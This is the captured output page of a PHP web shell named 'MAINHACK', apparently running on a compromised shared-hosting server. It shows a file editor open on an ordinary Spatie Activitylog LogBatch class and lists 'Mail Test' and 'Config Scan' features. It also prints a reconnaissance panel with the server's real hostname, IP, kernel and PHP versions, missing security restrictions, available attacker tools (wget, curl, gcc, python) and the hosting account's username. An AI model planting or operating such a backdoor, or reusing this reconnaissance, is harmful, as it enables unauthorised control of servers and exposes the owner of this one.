[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LogBatch.php
<?php namespace Spatie\Activitylog; use Closure; use Ramsey\Uuid\Uuid; class LogBatch { public ?string $uuid = null; public int $transactions = 0; protected function generateUuid(): string { return Uuid::uuid4()->toString(); } public function getUuid(): ?string { return $this->uuid; } public function setBatch(string $uuid): void { $this->uuid = $uuid; $this->transactions = 1; } public function withinBatch(Closure $callback): mixed { $this->startBatch(); $result = $callback($this->getUuid()); $this->endBatch(); return $result; } public function startBatch(): void { if (! $this->isOpen()) { $this->uuid = $this->generateUuid(); } $this->transactions++; } public function isOpen(): bool { return $this->transactions > 0; } public function endBatch(): void { $this->transactions = max(0, $this->transactions - 1); if ($this->transactions === 0) { $this->uuid = null; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285